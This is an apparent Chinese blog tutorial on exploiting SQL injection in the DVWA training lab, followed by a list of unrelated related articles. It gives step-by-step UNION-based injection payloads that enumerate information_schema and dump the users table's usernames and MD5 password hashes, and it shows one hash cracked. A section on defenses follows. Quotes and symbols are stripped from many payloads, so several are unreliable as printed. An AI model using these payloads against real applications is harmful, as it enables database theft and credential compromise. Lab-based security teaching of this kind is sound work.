DVWA 1.10 SQL注入实战:从字符型判断到用户密码获取的7步完整流程

发布时间:2026/7/8 3:57:38

DVWA 1.10 SQL注入实战:从字符型判断到用户密码获取的7步完整流程
DVWA 1.10 SQL注入实战从字符型判断到用户密码获取的7步完整流程1. 环境准备与基础概念在开始实战之前我们需要先搭建好DVWADamn Vulnerable Web Application环境。DVWA是一个专门用于安全测试的PHP/MySQL Web应用程序它包含了多种安全漏洞的模拟环境其中就包括SQL注入漏洞。SQL注入的基本原理当Web应用程序对用户输入数据的合法性没有进行充分判断或过滤时攻击者可以通过构造特殊的输入改变原有SQL查询语句的逻辑从而执行非授权的数据库操作。这种攻击方式被称为SQL注入SQL Injection。DVWA提供了四种安全级别Low完全无防护用于演示最基本的漏洞利用技术Medium添加了部分防护措施但存在明显缺陷High采用了更严格的防护但仍可能被绕过Impossible实现了完善的防护措施在本教程中我们将专注于Low安全级别的SQL注入实战。2. 判断注入类型首先我们需要确定目标是否存在SQL注入漏洞以及是哪种类型的注入。SQL注入主要分为两种类型数字型注入参数直接作为数字使用不需要引号包围字符型注入参数被单引号或双引号包围判断步骤访问DVWA的SQL Injection页面安全级别设置为Low在输入框中分别尝试以下输入1正常查询1如果报错可能是字符型注入1 and 11如果返回正常结果1 and 12如果返回空结果通过对比这些测试的返回结果我们可以确认这是一个字符型注入漏洞。这是因为输入1导致语法错误因为破坏了引号闭合1 and 11构造了一个永真条件返回了所有结果1 and 12构造了一个永假条件返回了空结果3. 猜解字段数量确定了注入类型后下一步是确定当前查询返回的字段数量。这可以通过ORDER BY子句来实现1 order by 1 # 1 order by 2 # 1 order by 3 ##是MySQL的注释符号用于注释掉查询语句后面的部分。通过逐步增加order by后面的数字当数字超过实际字段数时查询会报错。在本例中order by 1和order by 2都能正常返回order by 3报错这说明查询结果包含2个字段。为了验证这一点我们可以使用联合查询UNION SELECT1 union select 1,2 #如果这个查询成功返回结果并在页面上显示了数字1和2就确认了字段数量为2同时也知道了哪些字段会在页面上显示。4. 获取数据库信息知道了字段数量后我们可以利用MySQL的内置函数获取数据库的基本信息1 union select database(),user() #这条查询会返回database()当前数据库名称如dvwauser()当前数据库用户如rootlocalhost还可以获取更多系统信息1 union select version(),version_compile_os #这会返回version()MySQL版本号version_compile_os操作系统信息这些信息对于后续的攻击步骤非常重要因为不同版本的数据库可能有不同的特性和限制。5. 获取数据库表名MySQL的information_schema数据库包含了所有数据库的元数据信息。我们可以利用它来获取当前数据库中的所有表名1 union select table_name,table_schema from information_schema.tables where table_schemadvwa #如果遇到编码问题如Illegal mix of collations错误可以使用convert()函数1 union select convert(table_name using big5),convert(table_schema using big5) from information_schema.tables where table_schemadvwa #执行后通常会返回类似以下结果guestbookusers这表明dvwa数据库中有两个表其中users表很可能存储了用户凭证信息。6. 获取表字段名确定了目标表users后我们需要知道这个表包含哪些字段。同样使用information_schema1 union select column_name,2 from information_schema.columns where table_nameusers and table_schemadvwa #或者使用十六进制编码绕过引号限制1 union select column_name,2 from information_schema.columns where table_name0x7573657273 and table_schema0x64767761 #0x7573657273是users的十六进制0x64767761是dvwa的十六进制执行后通常会返回users表的所有字段名如user_idfirst_namelast_nameuserpasswordavatarlast_loginfailed_login其中user和password字段就是我们最感兴趣的目标。7. 提取用户凭证数据最后一步是从users表中提取用户名和密码1 union select user,password from users #如果遇到编码问题同样可以使用convert1 union select convert(user using big5),convert(password using big5) from users #执行后会返回所有用户的用户名和密码哈希值。DVWA默认使用MD5加密密码例如admin / 5f4dcc3b5aa765d61d8327deb882cf99可以使用在线MD5解密工具或彩虹表来破解这些哈希值。例如上面的哈希对应明文密码password。防御建议虽然本文重点在于演示攻击技术但了解防御措施同样重要。以下是一些基本的SQL注入防御方法使用参数化查询预编译语句$stmt $pdo-prepare(SELECT * FROM users WHERE id :id); $stmt-execute([id $id]);输入验证和过滤对用户输入进行严格的白名单验证使用专门的过滤函数如mysqli_real_escape_string最小权限原则数据库用户只应拥有必要的最小权限避免使用root或高权限账户连接数据库错误处理避免向用户显示详细的数据库错误信息使用自定义的错误页面Web应用防火墙(WAF)部署WAF可以拦截常见的SQL注入攻击模式

相关新闻

BEVFormer 可形变注意力解析:对比3种注意力机制,计算效率提升40%

BEVFormer 可形变注意力解析:对比3种注意力机制,计算效率提升40%

2026/7/8 3:57:38

BEVFormer可形变注意力机制深度解析:3种注意力机制对比与40%计算效率提升的关键1. 可形变注意力机制的创新设计在自动驾驶感知领域,BEVFormer通过引入可形变注意力(Deformable Attention)机制,成功解决了传统Transform…

OpenCode:专为NAS设计的轻量AI编程工作台

OpenCode:专为NAS设计的轻量AI编程工作台

2026/7/8 3:57:38

1. OpenCode 是什么?不是另一个“在线 VS Code”,而是 NAS 上跑得动的 AI 编程工作台 你有没有过这种体验:想在下班路上改一行 Python 脚本,却发现公司内网连不上;想给家里的树莓派 NAS 加个轻量 IDE,结果发…

当 AI 生成的样式需要一间独立房间:Shadow DOM 与 CSS Modules 的样式隔离对决

当 AI 生成的样式需要一间独立房间:Shadow DOM 与 CSS Modules 的样式隔离对决

2026/7/8 3:47:23

当 AI 生成的样式需要一间独立房间:Shadow DOM 与 CSS Modules 的样式隔离对决 一、深度引言与场景痛点 AI 生成的组件代码带着自己的样式行李——一段 CSS 声明打包在组件内部,颜色、间距、字号都是自给自足的。当这段代码进入设计系统仓库,…

Any-ttach:面向灵巧操作的工具即插即用操作系统

Any-ttach:面向灵巧操作的工具即插即用操作系统

2026/7/8 5:27:42

1. 项目概述:这不是又一个机械臂末端夹具,而是一套让工具“即插即用、一脑统管”的操作系统你有没有遇到过这样的场景:一台工业协作机器人,上午要拧螺丝,下午要打磨焊缝,晚上还得换上吸盘去搬运薄板——每次…

广东省任我行国际旅行社正式获评广东省旅游协会会员单位

广东省任我行国际旅行社正式获评广东省旅游协会会员单位

2026/7/8 5:27:42

广东省任我行国际旅行社有限公司成功入选广东省旅游协会会员单位,凭借多年规范经营、优质服务口碑与扎实的文旅行业深耕实力,获得行业权威认可,标志着企业综合服务能力、行业公信力迈入全新台阶。自2009年成立以来,任我行国际旅行…

雷达尺寸重量受限,车顶或机器人安装有小型化版本吗

雷达尺寸重量受限,车顶或机器人安装有小型化版本吗

2026/7/8 5:27:42

1. 雷达小型化趋势:从车顶到机器人的空间革命在2026年的智能制造场景中,激光雷达的小型化已突破传统安装边界。以山东穆柯传感器推出的安全激光雷达为例,其核心产品通过集成化设计将整机尺寸压缩至120mm80mm50mm,重量仅350克&…

HackTheBox Snapped WP:从 Nginx UI 备份泄露到 snap-confine 本地提

HackTheBox Snapped WP:从 Nginx UI 备份泄露到 snap-confine 本地提

2026/7/8 5:27:42

一、靶机的相关信息 二、信息搜集 对目标进行 TCP 全端口扫描 指纹识别 操作系统识别: roothtb:~# rustscan -a 10.129.45.91 -r 1-65535 -- -sV -Pn -n -O 扫描结果显示有两个 TCP 端口开放,分别是 22 与 80: PORT STATE SERVICE REASON…

商品主图去水印:AI技术深度解析与实战工具横评

商品主图去水印:AI技术深度解析与实战工具横评

2026/7/8 5:27:42

引言:为什么商品主图去水印是门“技术活”? 在电商运营、内容创作与视觉营销领域,一张干净、专业的商品主图至关重要。然而,从供应商处获取的图片、竞品分析截图或早期设计稿往往带有品牌Logo、促销文字、拍摄水印等干扰元素。传统…

GitHub Desktop终极中文汉化指南:3分钟打造你的专属中文Git客户端

GitHub Desktop终极中文汉化指南:3分钟打造你的专属中文Git客户端

2026/7/8 5:17:42

GitHub Desktop终极中文汉化指南:3分钟打造你的专属中文Git客户端 【免费下载链接】GitHubDesktop2Chinese GithubDesktop语言本地化(汉化)工具 【GitHub桌面客户端中文汉化】 项目地址: https://gitcode.com/gh_mirrors/gi/GitHubDesktop2Chinese 还在为Git…

解锁AMD Ryzen处理器深层性能:SMU Debug Tool完全指南

解锁AMD Ryzen处理器深层性能:SMU Debug Tool完全指南

2026/7/8 0:44:47

解锁AMD Ryzen处理器深层性能:SMU Debug Tool完全指南 【免费下载链接】SMUDebugTool A dedicated tool to help write/read various parameters of Ryzen-based systems, such as manual overclock, SMU, PCI, CPUID, MSR and Power Table. 项目地址: https://gi…

6个月转型AI工程师:实战路径与核心技能

6个月转型AI工程师:实战路径与核心技能

2026/7/7 4:34:17

1. 项目概述:6个月转型AI工程师的可行性路径在2023年大模型技术爆发的背景下,AI工程师岗位需求同比增长217%(LinkedIn数据)。不同于传统算法工程师需要3-5年培养周期,现代AI工程师更侧重工程化落地能力。我在硅谷科技公…

YOLOv5模型剪枝与量化实战:边缘设备部署优化

YOLOv5模型剪枝与量化实战:边缘设备部署优化

2026/7/7 13:20:59

1. 项目背景与核心价值在计算机视觉领域,YOLOv5因其出色的实时检测性能成为工业界宠儿。但当我们尝试将其部署到边缘设备(如树莓派、Jetson Nano或手机终端)时,立刻会遇到两个致命问题:模型体积庞大(原始YO…

Qwen Code+Obsidian构建可执行的AI时代认知操作系统

Qwen Code+Obsidian构建可执行的AI时代认知操作系统

2026/7/8 0:07:15

1. 项目概述:这不是又一个笔记软件教程,而是一套可复用的“认知操作系统”搭建逻辑你有没有试过,在读完Andrej Karpathy那篇著名的《Software 2.0》之后,满脑子都是“神经网络即代码”的震撼,但合上网页,打…

校园服饰细分赛道测算程序,学生平价国风,机能穿搭市场规模预估。

校园服饰细分赛道测算程序,学生平价国风,机能穿搭市场规模预估。

2026/7/8 0:07:15

校园服饰细分赛道测算程序(Python)——学生平价国风 & 机能穿搭市场规模预估(TAM / SAM / SOM)一、实际应用场景描述(真实业务抽象)在《时尚产业与品牌创新》课程中,细分市场切入&#xff0…

Visual C++运行库完整解决方案:告别软件兼容性问题

Visual C++运行库完整解决方案:告别软件兼容性问题

2026/7/8 0:07:15

Visual C运行库完整解决方案:告别软件兼容性问题 【免费下载链接】vcredist AIO Repack for latest Microsoft Visual C Redistributable Runtimes 项目地址: https://gitcode.com/gh_mirrors/vc/vcredist 你是否曾为打开游戏时弹出的"DLL缺失"错误…